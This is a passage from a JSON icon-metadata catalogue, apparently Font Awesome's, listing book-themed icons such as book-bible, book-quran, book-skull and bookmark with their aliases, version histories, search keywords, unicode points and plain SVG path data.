        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 96C0 43 43 0 96 0H384h32c17.7 0 32 14.3 32 32V352c0 17.7-14.3 32-32 32v64c17.7 0 32 14.3 32 32s-14.3 32-32 32H384 96c-53 0-96-43-96-96V96zM64 416c0 17.7 14.3 32 32 32H352V384H96c-17.7 0-32 14.3-32 32zM247.4 283.8c-3.7 3.7-6.2 4.2-7.4 4.2s-3.7-.5-7.4-4.2c-3.8-3.7-8-10-11.8-18.9c-6.2-14.5-10.8-34.3-12.2-56.9h63c-1.5 22.6-6 42.4-12.2 56.9c-3.8 8.9-8 15.2-11.8 18.9zm42.7-9.9c7.3-18.3 12-41.1 13.4-65.9h31.1c-4.7 27.9-21.4 51.7-44.5 65.9zm0-163.8c23.2 14.2 39.9 38 44.5 65.9H303.5c-1.4-24.7-6.1-47.5-13.4-65.9zM368 192a128 128 0 1 0 -256 0 128 128 0 1 0 256 0zM145.3 208h31.1c1.4 24.7 6.1 47.5 13.4 65.9c-23.2-14.2-39.9-38-44.5-65.9zm31.1-32H145.3c4.7-27.9 21.4-51.7 44.5-65.9c-7.3 18.3-12 41.1-13.4 65.9zm56.1-75.8c3.7-3.7 6.2-4.2 7.4-4.2s3.7 .5 7.4 4.2c3.8 3.7 8 10 11.8 18.9c6.2 14.5 10.8 34.3 12.2 56.9h-63c1.5-22.6 6-42.4 12.2-56.9c3.8-8.9 8-15.2 11.8-18.9z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 96C0 43 43 0 96 0H384h32c17.7 0 32 14.3 32 32V352c0 17.7-14.3 32-32 32v64c17.7 0 32 14.3 32 32s-14.3 32-32 32H384 96c-53 0-96-43-96-96V96zM64 416c0 17.7 14.3 32 32 32H352V384H96c-17.7 0-32 14.3-32 32zM247.4 283.8c-3.7 3.7-6.2 4.2-7.4 4.2s-3.7-.5-7.4-4.2c-3.8-3.7-8-10-11.8-18.9c-6.2-14.5-10.8-34.3-12.2-56.9h63c-1.5 22.6-6 42.4-12.2 56.9c-3.8 8.9-8 15.2-11.8 18.9zm42.7-9.9c7.3-18.3 12-41.1 13.4-65.9h31.1c-4.7 27.9-21.4 51.7-44.5 65.9zm0-163.8c23.2 14.2 39.9 38 44.5 65.9H303.5c-1.4-24.7-6.1-47.5-13.4-65.9zM368 192a128 128 0 1 0 -256 0 128 128 0 1 0 256 0zM145.3 208h31.1c1.4 24.7 6.1 47.5 13.4 65.9c-23.2-14.2-39.9-38-44.5-65.9zm31.1-32H145.3c4.7-27.9 21.4-51.7 44.5-65.9c-7.3 18.3-12 41.1-13.4 65.9zm56.1-75.8c3.7-3.7 6.2-4.2 7.4-4.2s3.7 .5 7.4 4.2c3.8 3.7 8 10 11.8 18.9c6.2 14.5 10.8 34.3 12.2 56.9h-63c1.5-22.6 6-42.4 12.2-56.9c3.8-8.9 8-15.2 11.8-18.9z"
      }
    },
    "free": ["solid"]
  },
  "book-bible": {
    "aliases": {
      "names": ["bible"],
      "unicodes": {
        "secondary": ["10f647"]
      }
    },
    "changes": ["5.3.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["book", "catholicism", "christianity", "god", "holy"]
    },
    "styles": ["solid"],
    "unicode": "f647",
    "label": "Book Bible",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M96 0C43 0 0 43 0 96V416c0 53 43 96 96 96H384h32c17.7 0 32-14.3 32-32s-14.3-32-32-32V384c17.7 0 32-14.3 32-32V32c0-17.7-14.3-32-32-32H384 96zm0 384H352v64H96c-17.7 0-32-14.3-32-32s14.3-32 32-32zM208 80c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v48h48c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272V304c0 8.8-7.2 16-16 16H224c-8.8 0-16-7.2-16-16V192H160c-8.8 0-16-7.2-16-16V144c0-8.8 7.2-16 16-16h48V80z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M96 0C43 0 0 43 0 96V416c0 53 43 96 96 96H384h32c17.7 0 32-14.3 32-32s-14.3-32-32-32V384c17.7 0 32-14.3 32-32V32c0-17.7-14.3-32-32-32H384 96zm0 384H352v64H96c-17.7 0-32-14.3-32-32s14.3-32 32-32zM208 80c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v48h48c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272V304c0 8.8-7.2 16-16 16H224c-8.8 0-16-7.2-16-16V192H160c-8.8 0-16-7.2-16-16V144c0-8.8 7.2-16 16-16h48V80z"
      }
    },
    "free": ["solid"]
  },
  "book-bookmark": {
    "changes": ["6.0.0-beta1", "6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["library", "research"]
    },
    "styles": ["solid"],
    "unicode": "e0bb",
    "label": "Book Bookmark",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 96C0 43 43 0 96 0h96V190.7c0 13.4 15.5 20.9 26 12.5L272 160l54 43.2c10.5 8.4 26 .9 26-12.5V0h32 32c17.7 0 32 14.3 32 32V352c0 17.7-14.3 32-32 32v64c17.7 0 32 14.3 32 32s-14.3 32-32 32H384 96c-53 0-96-43-96-96V96zM64 416c0 17.7 14.3 32 32 32H352V384H96c-17.7 0-32 14.3-32 32z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 96C0 43 43 0 96 0h96V190.7c0 13.4 15.5 20.9 26 12.5L272 160l54 43.2c10.5 8.4 26 .9 26-12.5V0h32 32c17.7 0 32 14.3 32 32V352c0 17.7-14.3 32-32 32v64c17.7 0 32 14.3 32 32s-14.3 32-32 32H384 96c-53 0-96-43-96-96V96zM64 416c0 17.7 14.3 32 32 32H352V384H96c-17.7 0-32 14.3-32 32z"
      }
    },
    "free": ["solid"]
  },
  "book-journal-whills": {
    "aliases": {
      "names": ["journal-whills"],
      "unicodes": {
        "secondary": ["10f66a"]
      }
    },
    "changes": ["5.3.0", "5.11.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["book", "force", "jedi", "sith", "star wars", "yoda"]
    },
    "styles": ["solid"],
    "unicode": "f66a",
    "label": "Book Journal Whills",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767389,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 96C0 43 43 0 96 0H384h32c17.7 0 32 14.3 32 32V352c0 17.7-14.3 32-32 32v64c17.7 0 32 14.3 32 32s-14.3 32-32 32H384 96c-53 0-96-43-96-96V96zM64 416c0 17.7 14.3 32 32 32H352V384H96c-17.7 0-32 14.3-32 32zm90.4-234.4l-21.2-21.2c-3 10.1-5.1 20.6-5.1 31.6c0 .2 0 .5 .1 .8s.1 .5 .1 .8L165.2 226c2.5 2.1 3.4 5.8 2.3 8.9c-1.3 3-4.1 5.1-7.5 5.1c-1.9-.1-3.8-.8-5.2-2l-23.6-20.6C142.8 267 186.9 304 240 304s97.3-37 108.9-86.6L325.3 238c-1.4 1.2-3.3 2-5.3 2c-2.2-.1-4.4-1.1-6-2.8c-1.2-1.5-1.9-3.4-2-5.2c.1-2.2 1.1-4.4 2.8-6l37.1-32.5c0-.3 0-.5 .1-.8s.1-.5 .1-.8c0-11-2.1-21.5-5.1-31.6l-21.2 21.2c-3.1 3.1-8.1 3.1-11.3 0s-3.1-8.1 0-11.2l26.4-26.5c-8.2-17-20.5-31.7-35.9-42.6c-2.7-1.9-6.2 1.4-5 4.5c8.5 22.4 3.6 48-13 65.6c-3.2 3.4-3.6 8.9-.9 12.7c9.8 14 12.7 31.9 7.5 48.5c-5.9 19.4-22 34.1-41.9 38.3l-1.4-34.3 12.6 8.6c.6 .4 1.5 .6 2.3 .6c1.5 0 2.7-.8 3.5-2s.6-2.8-.1-4L260 225.4l18-3.6c1.8-.4 3.1-2.1 3.1-4s-1.4-3.5-3.1-3.9l-18-3.7 8.5-14.3c.8-1.2 .9-2.9 .1-4.1s-2-2-3.5-2l-.1 0c-.7 .1-1.5 .3-2.1 .7l-14.1 9.6L244 87.9c-.1-2.2-1.9-3.9-4-3.9s-3.9 1.6-4 3.9l-4.6 110.8-12-8.1c-1.5-1.1-3.6-.9-5 .4s-1.6 3.4-.8 5l8.6 14.3-18 3.7c-1.8 .4-3.1 2-3.1 3.9s1.4 3.6 3.1 4l18 3.8-8.6 14.2c-.2 .6-.5 1.4-.5 2c0 1.1 .5 2.1 1.2 3c.8 .6 1.8 1 2.8 1c.7 0 1.6-.2 2.2-.6l10.4-7.1-1.4 32.8c-19.9-4.1-36-18.9-41.9-38.3c-5.1-16.6-2.2-34.4 7.6-48.5c2.7-3.9 2.3-9.3-.9-12.7c-16.6-17.5-21.6-43.1-13.1-65.5c1.2-3.1-2.3-6.4-5-4.5c-15.3 10.9-27.6 25.6-35.8 42.6l26.4 26.5c3.1 3.1 3.1 8.1 0 11.2s-8.1 3.1-11.2 0z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 96C0 43 43 0 96 0H384h32c17.7 0 32 14.3 32 32V352c0 17.7-14.3 32-32 32v64c17.7 0 32 14.3 32 32s-14.3 32-32 32H384 96c-53 0-96-43-96-96V96zM64 416c0 17.7 14.3 32 32 32H352V384H96c-17.7 0-32 14.3-32 32zm90.4-234.4l-21.2-21.2c-3 10.1-5.1 20.6-5.1 31.6c0 .2 0 .5 .1 .8s.1 .5 .1 .8L165.2 226c2.5 2.1 3.4 5.8 2.3 8.9c-1.3 3-4.1 5.1-7.5 5.1c-1.9-.1-3.8-.8-5.2-2l-23.6-20.6C142.8 267 186.9 304 240 304s97.3-37 108.9-86.6L325.3 238c-1.4 1.2-3.3 2-5.3 2c-2.2-.1-4.4-1.1-6-2.8c-1.2-1.5-1.9-3.4-2-5.2c.1-2.2 1.1-4.4 2.8-6l37.1-32.5c0-.3 0-.5 .1-.8s.1-.5 .1-.8c0-11-2.1-21.5-5.1-31.6l-21.2 21.2c-3.1 3.1-8.1 3.1-11.3 0s-3.1-8.1 0-11.2l26.4-26.5c-8.2-17-20.5-31.7-35.9-42.6c-2.7-1.9-6.2 1.4-5 4.5c8.5 22.4 3.6 48-13 65.6c-3.2 3.4-3.6 8.9-.9 12.7c9.8 14 12.7 31.9 7.5 48.5c-5.9 19.4-22 34.1-41.9 38.3l-1.4-34.3 12.6 8.6c.6 .4 1.5 .6 2.3 .6c1.5 0 2.7-.8 3.5-2s.6-2.8-.1-4L260 225.4l18-3.6c1.8-.4 3.1-2.1 3.1-4s-1.4-3.5-3.1-3.9l-18-3.7 8.5-14.3c.8-1.2 .9-2.9 .1-4.1s-2-2-3.5-2l-.1 0c-.7 .1-1.5 .3-2.1 .7l-14.1 9.6L244 87.9c-.1-2.2-1.9-3.9-4-3.9s-3.9 1.6-4 3.9l-4.6 110.8-12-8.1c-1.5-1.1-3.6-.9-5 .4s-1.6 3.4-.8 5l8.6 14.3-18 3.7c-1.8 .4-3.1 2-3.1 3.9s1.4 3.6 3.1 4l18 3.8-8.6 14.2c-.2 .6-.5 1.4-.5 2c0 1.1 .5 2.1 1.2 3c.8 .6 1.8 1 2.8 1c.7 0 1.6-.2 2.2-.6l10.4-7.1-1.4 32.8c-19.9-4.1-36-18.9-41.9-38.3c-5.1-16.6-2.2-34.4 7.6-48.5c2.7-3.9 2.3-9.3-.9-12.7c-16.6-17.5-21.6-43.1-13.1-65.5c1.2-3.1-2.3-6.4-5-4.5c-15.3 10.9-27.6 25.6-35.8 42.6l26.4 26.5c3.1 3.1 3.1 8.1 0 11.2s-8.1 3.1-11.2 0z"
      }
    },
    "free": ["solid"]
  },
  "book-medical": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f7e6"]
      }
    },
    "changes": ["5.7.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "diary",
        "documentation",
        "health",
        "history",
        "journal",
        "library",
        "read",
        "record",
        "research"
      ]
    },
    "styles": ["solid"],
    "unicode": "f7e6",
    "label": "Book Medical",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 96C0 43 43 0 96 0H384h32c17.7 0 32 14.3 32 32V352c0 17.7-14.3 32-32 32v64c17.7 0 32 14.3 32 32s-14.3 32-32 32H384 96c-53 0-96-43-96-96V96zM64 416c0 17.7 14.3 32 32 32H352V384H96c-17.7 0-32 14.3-32 32zM208 112v48H160c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h48v48c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V224h48c8.8 0 16-7.2 16-16V176c0-8.8-7.2-16-16-16H272V112c0-8.8-7.2-16-16-16H224c-8.8 0-16 7.2-16 16z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 96C0 43 43 0 96 0H384h32c17.7 0 32 14.3 32 32V352c0 17.7-14.3 32-32 32v64c17.7 0 32 14.3 32 32s-14.3 32-32 32H384 96c-53 0-96-43-96-96V96zM64 416c0 17.7 14.3 32 32 32H352V384H96c-17.7 0-32 14.3-32 32zM208 112v48H160c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h48v48c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V224h48c8.8 0 16-7.2 16-16V176c0-8.8-7.2-16-16-16H272V112c0-8.8-7.2-16-16-16H224c-8.8 0-16 7.2-16 16z"
      }
    },
    "free": ["solid"]
  },
  "book-open": {
    "aliases": {
      "unicodes": {
        "composite": ["1f4d6", "1f56e"],
        "secondary": ["10f518"]
      }
    },
    "changes": [
      "5.0.13",
      "5.1.0",
      "5.2.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Book",
        "book",
        "flyer",
        "library",
        "notebook",
        "open",
        "open book",
        "pamphlet",
        "reading",
        "research"
      ]
    },
    "styles": ["solid"],
    "unicode": "f518",
    "label": "Book Open",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767389,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M249.6 471.5c10.8 3.8 22.4-4.1 22.4-15.5V78.6c0-4.2-1.6-8.4-5-11C247.4 52 202.4 32 144 32C93.5 32 46.3 45.3 18.1 56.1C6.8 60.5 0 71.7 0 83.8V454.1c0 11.9 12.8 20.2 24.1 16.5C55.6 460.1 105.5 448 144 448c33.9 0 79 14 105.6 23.5zm76.8 0C353 462 398.1 448 432 448c38.5 0 88.4 12.1 119.9 22.6c11.3 3.8 24.1-4.6 24.1-16.5V83.8c0-12.1-6.8-23.3-18.1-27.6C529.7 45.3 482.5 32 432 32c-58.4 0-103.4 20-123 35.6c-3.3 2.6-5 6.8-5 11V456c0 11.4 11.7 19.3 22.4 15.5z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M249.6 471.5c10.8 3.8 22.4-4.1 22.4-15.5V78.6c0-4.2-1.6-8.4-5-11C247.4 52 202.4 32 144 32C93.5 32 46.3 45.3 18.1 56.1C6.8 60.5 0 71.7 0 83.8V454.1c0 11.9 12.8 20.2 24.1 16.5C55.6 460.1 105.5 448 144 448c33.9 0 79 14 105.6 23.5zm76.8 0C353 462 398.1 448 432 448c38.5 0 88.4 12.1 119.9 22.6c11.3 3.8 24.1-4.6 24.1-16.5V83.8c0-12.1-6.8-23.3-18.1-27.6C529.7 45.3 482.5 32 432 32c-58.4 0-103.4 20-123 35.6c-3.3 2.6-5 6.8-5 11V456c0 11.4 11.7 19.3 22.4 15.5z"
      }
    },
    "free": ["solid"]
  },
  "book-open-reader": {
    "aliases": {
      "names": ["book-reader"],
      "unicodes": {
        "secondary": ["10f5da"]
      }
    },
    "changes": ["5.2.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0", "6.4.1"],
    "ligatures": [],
    "search": {
      "terms": [
        "flyer",
        "library",
        "notebook",
        "open book",
        "pamphlet",
        "reading",
        "research"
      ]
    },
    "styles": ["solid"],
    "unicode": "f5da",
    "label": "Book Open Reader",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767390,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M160 96a96 96 0 1 1 192 0A96 96 0 1 1 160 96zm80 152V512l-48.4-24.2c-20.9-10.4-43.5-17-66.8-19.3l-96-9.6C12.5 457.2 0 443.5 0 427V224c0-17.7 14.3-32 32-32H62.3c63.6 0 125.6 19.6 177.7 56zm32 264V248c52.1-36.4 114.1-56 177.7-56H480c17.7 0 32 14.3 32 32V427c0 16.4-12.5 30.2-28.8 31.8l-96 9.6c-23.2 2.3-45.9 8.9-66.8 19.3L272 512z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M160 96a96 96 0 1 1 192 0A96 96 0 1 1 160 96zm80 152V512l-48.4-24.2c-20.9-10.4-43.5-17-66.8-19.3l-96-9.6C12.5 457.2 0 443.5 0 427V224c0-17.7 14.3-32 32-32H62.3c63.6 0 125.6 19.6 177.7 56zm32 264V248c52.1-36.4 114.1-56 177.7-56H480c17.7 0 32 14.3 32 32V427c0 16.4-12.5 30.2-28.8 31.8l-96 9.6c-23.2 2.3-45.9 8.9-66.8 19.3L272 512z"
      }
    },
    "free": ["solid"]
  },
  "book-quran": {
    "aliases": {
      "names": ["quran"],
      "unicodes": {
        "secondary": ["10f687"]
      }
    },
    "changes": ["5.3.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["book", "islam", "muslim", "religion"]
    },
    "styles": ["solid"],
    "unicode": "f687",
    "label": "Book Quran",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767389,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M352 0c53 0 96 43 96 96V416c0 53-43 96-96 96H64 32c-17.7 0-32-14.3-32-32s14.3-32 32-32V384c-17.7 0-32-14.3-32-32V32C0 14.3 14.3 0 32 0H64 352zm0 384H96v64H352c17.7 0 32-14.3 32-32s-14.3-32-32-32zM274.1 150.2l-8.9 21.4-23.1 1.9c-5.7 .5-8 7.5-3.7 11.2L256 199.8l-5.4 22.6c-1.3 5.5 4.7 9.9 9.6 6.9L280 217.2l19.8 12.1c4.9 3 10.9-1.4 9.6-6.9L304 199.8l17.6-15.1c4.3-3.7 2-10.8-3.7-11.2l-23.1-1.9-8.9-21.4c-2.2-5.3-9.6-5.3-11.8 0zM96 192c0 70.7 57.3 128 128 128c25.6 0 49.5-7.5 69.5-20.5c3.2-2.1 4.5-6.2 3.1-9.7s-5.2-5.6-9-4.8c-6.1 1.2-12.5 1.9-19 1.9c-52.4 0-94.9-42.5-94.9-94.9s42.5-94.9 94.9-94.9c6.5 0 12.8 .7 19 1.9c3.8 .8 7.5-1.3 9-4.8s.2-7.6-3.1-9.7C273.5 71.5 249.6 64 224 64C153.3 64 96 121.3 96 192z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M352 0c53 0 96 43 96 96V416c0 53-43 96-96 96H64 32c-17.7 0-32-14.3-32-32s14.3-32 32-32V384c-17.7 0-32-14.3-32-32V32C0 14.3 14.3 0 32 0H64 352zm0 384H96v64H352c17.7 0 32-14.3 32-32s-14.3-32-32-32zM274.1 150.2l-8.9 21.4-23.1 1.9c-5.7 .5-8 7.5-3.7 11.2L256 199.8l-5.4 22.6c-1.3 5.5 4.7 9.9 9.6 6.9L280 217.2l19.8 12.1c4.9 3 10.9-1.4 9.6-6.9L304 199.8l17.6-15.1c4.3-3.7 2-10.8-3.7-11.2l-23.1-1.9-8.9-21.4c-2.2-5.3-9.6-5.3-11.8 0zM96 192c0 70.7 57.3 128 128 128c25.6 0 49.5-7.5 69.5-20.5c3.2-2.1 4.5-6.2 3.1-9.7s-5.2-5.6-9-4.8c-6.1 1.2-12.5 1.9-19 1.9c-52.4 0-94.9-42.5-94.9-94.9s42.5-94.9 94.9-94.9c6.5 0 12.8 .7 19 1.9c3.8 .8 7.5-1.3 9-4.8s.2-7.6-3.1-9.7C273.5 71.5 249.6 64 224 64C153.3 64 96 121.3 96 192z"
      }
    },
    "free": ["solid"]
  },
  "book-skull": {
    "aliases": {
      "names": ["book-dead"],
      "unicodes": {
        "secondary": ["10f6b7"]
      }
    },
    "changes": ["5.4.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Dungeons & Dragons",
        "crossbones",
        "d&d",
        "dark arts",
        "death",
        "dnd",
        "documentation",
        "evil",
        "fantasy",
        "halloween",
        "holiday",
        "library",
        "necronomicon",
        "read",
        "research",
        "skull",
        "spell"
      ]
    },
    "styles": ["solid"],
    "unicode": "f6b7",
    "label": "Book Skull",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767390,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 96C0 43 43 0 96 0H384h32c17.7 0 32 14.3 32 32V352c0 17.7-14.3 32-32 32v64c17.7 0 32 14.3 32 32s-14.3 32-32 32H384 96c-53 0-96-43-96-96V96zM64 416c0 17.7 14.3 32 32 32H352V384H96c-17.7 0-32 14.3-32 32zM320 112c0-35.3-35.8-64-80-64s-80 28.7-80 64c0 20.9 12.6 39.5 32 51.2V176c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16V163.2c19.4-11.7 32-30.3 32-51.2zM208 96a16 16 0 1 1 0 32 16 16 0 1 1 0-32zm48 16a16 16 0 1 1 32 0 16 16 0 1 1 -32 0zM134.3 209.3c-8.1-3.5-17.5 .3-21 8.4s.3 17.5 8.4 21L199.4 272l-77.7 33.3c-8.1 3.5-11.9 12.9-8.4 21s12.9 11.9 21 8.4L240 289.4l105.7 45.3c8.1 3.5 17.5-.3 21-8.4s-.3-17.5-8.4-21L280.6 272l77.7-33.3c8.1-3.5 11.9-12.9 8.4-21s-12.9-11.9-21-8.4L240 254.6 134.3 209.3z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 96C0 43 43 0 96 0H384h32c17.7 0 32 14.3 32 32V352c0 17.7-14.3 32-32 32v64c17.7 0 32 14.3 32 32s-14.3 32-32 32H384 96c-53 0-96-43-96-96V96zM64 416c0 17.7 14.3 32 32 32H352V384H96c-17.7 0-32 14.3-32 32zM320 112c0-35.3-35.8-64-80-64s-80 28.7-80 64c0 20.9 12.6 39.5 32 51.2V176c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16V163.2c19.4-11.7 32-30.3 32-51.2zM208 96a16 16 0 1 1 0 32 16 16 0 1 1 0-32zm48 16a16 16 0 1 1 32 0 16 16 0 1 1 -32 0zM134.3 209.3c-8.1-3.5-17.5 .3-21 8.4s.3 17.5 8.4 21L199.4 272l-77.7 33.3c-8.1 3.5-11.9 12.9-8.4 21s12.9 11.9 21 8.4L240 289.4l105.7 45.3c8.1 3.5 17.5-.3 21-8.4s-.3-17.5-8.4-21L280.6 272l77.7-33.3c8.1-3.5 11.9-12.9 8.4-21s-12.9-11.9-21-8.4L240 254.6 134.3 209.3z"
      }
    },
    "free": ["solid"]
  },
  "book-tanakh": {
    "aliases": {
      "names": ["tanakh"],
      "unicodes": {
        "secondary": ["10f827"]
      }
    },
    "changes": ["5.7.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["book", "jewish", "judaism", "religion"]
    },
    "styles": ["solid"],
    "unicode": "f827",
    "label": "Book Tanakh",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M352 0c53 0 96 43 96 96V416c0 53-43 96-96 96H64 32c-17.7 0-32-14.3-32-32s14.3-32 32-32V384c-17.7 0-32-14.3-32-32V32C0 14.3 14.3 0 32 0H64 352zm0 384H96v64H352c17.7 0 32-14.3 32-32s-14.3-32-32-32zM138.7 208l13.9 24H124.9l13.9-24zm-13.9-24L97.1 232c-6.2 10.7 1.5 24 13.9 24h55.4l27.7 48c6.2 10.7 21.6 10.7 27.7 0l27.7-48H305c12.3 0 20-13.3 13.9-24l-27.7-48 27.7-48c6.2-10.7-1.5-24-13.9-24H249.6L221.9 64c-6.2-10.7-21.6-10.7-27.7 0l-27.7 48H111c-12.3 0-20 13.3-13.9 24l27.7 48zm27.7 0l27.7-48h55.4l27.7 48-27.7 48H180.3l-27.7-48zm0-48l-13.9 24-13.9-24h27.7zm41.6-24L208 88l13.9 24H194.1zm69.3 24h27.7l-13.9 24-13.9-24zm13.9 72l13.9 24H263.4l13.9-24zm-55.4 48L208 280l-13.9-24h27.7z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M352 0c53 0 96 43 96 96V416c0 53-43 96-96 96H64 32c-17.7 0-32-14.3-32-32s14.3-32 32-32V384c-17.7 0-32-14.3-32-32V32C0 14.3 14.3 0 32 0H64 352zm0 384H96v64H352c17.7 0 32-14.3 32-32s-14.3-32-32-32zM138.7 208l13.9 24H124.9l13.9-24zm-13.9-24L97.1 232c-6.2 10.7 1.5 24 13.9 24h55.4l27.7 48c6.2 10.7 21.6 10.7 27.7 0l27.7-48H305c12.3 0 20-13.3 13.9-24l-27.7-48 27.7-48c6.2-10.7-1.5-24-13.9-24H249.6L221.9 64c-6.2-10.7-21.6-10.7-27.7 0l-27.7 48H111c-12.3 0-20 13.3-13.9 24l27.7 48zm27.7 0l27.7-48h55.4l27.7 48-27.7 48H180.3l-27.7-48zm0-48l-13.9 24-13.9-24h27.7zm41.6-24L208 88l13.9 24H194.1zm69.3 24h27.7l-13.9 24-13.9-24zm13.9 72l13.9 24H263.4l13.9-24zm-55.4 48L208 280l-13.9-24h27.7z"
      }
    },
    "free": ["solid"]
  },
  "bookmark": {
    "aliases": {
      "unicodes": {
        "composite": ["1f516", "f097"],
        "secondary": ["10f02e"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.1.2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "bookmark",
        "favorite",
        "library",
        "mark",
        "marker",
        "read",
        "remember",
        "research",
        "save"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f02e",
    "label": "Bookmark",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767392,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M0 48V487.7C0 501.1 10.9 512 24.3 512c5 0 9.9-1.5 14-4.4L192 400 345.7 507.6c4.1 2.9 9 4.4 14 4.4c13.4 0 24.3-10.9 24.3-24.3V48c0-26.5-21.5-48-48-48H48C21.5 0 0 21.5 0 48z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M0 48V487.7C0 501.1 10.9 512 24.3 512c5 0 9.9-1.5 14-4.4L192 400 345.7 507.6c4.1 2.9 9 4.4 14 4.4c13.4 0 24.3-10.9 24.3-24.3V48c0-26.5-21.5-48-48-48H48C21.5 0 0 21.5 0 48z"
      },
      "regular": {
        "last_modified": 1684767392,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M0 48C0 21.5 21.5 0 48 0l0 48V441.4l130.1-92.9c8.3-6 19.6-6 27.9 0L336 441.4V48H48V0H336c26.5 0 48 21.5 48 48V488c0 9-5 17.2-13 21.3s-17.6 3.4-24.9-1.8L192 397.5 37.9 507.5c-7.3 5.2-16.9 5.9-24.9 1.8S0 497 0 488V48z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M0 48C0 21.5 21.5 0 48 0l0 48V441.4l130.1-92.9c8.3-6 19.6-6 27.9 0L336 441.4V48H48V0H336c26.5 0 48 21.5 48 48V488c0 9-5 17.2-13 21.3s-17.6 3.4-24.9-1.8L192 397.5 37.9 507.5c-7.3 5.2-16.9 5.9-24.9 1.8S0 497 0 488V48z"
      }
    },
    "free": ["regular", "solid"]
  },
  "bootstrap": {
    "changes": ["5.8.0", "5.15.4", "6.0.0-beta1"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f836",
    "label": "Bootstrap",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014471,
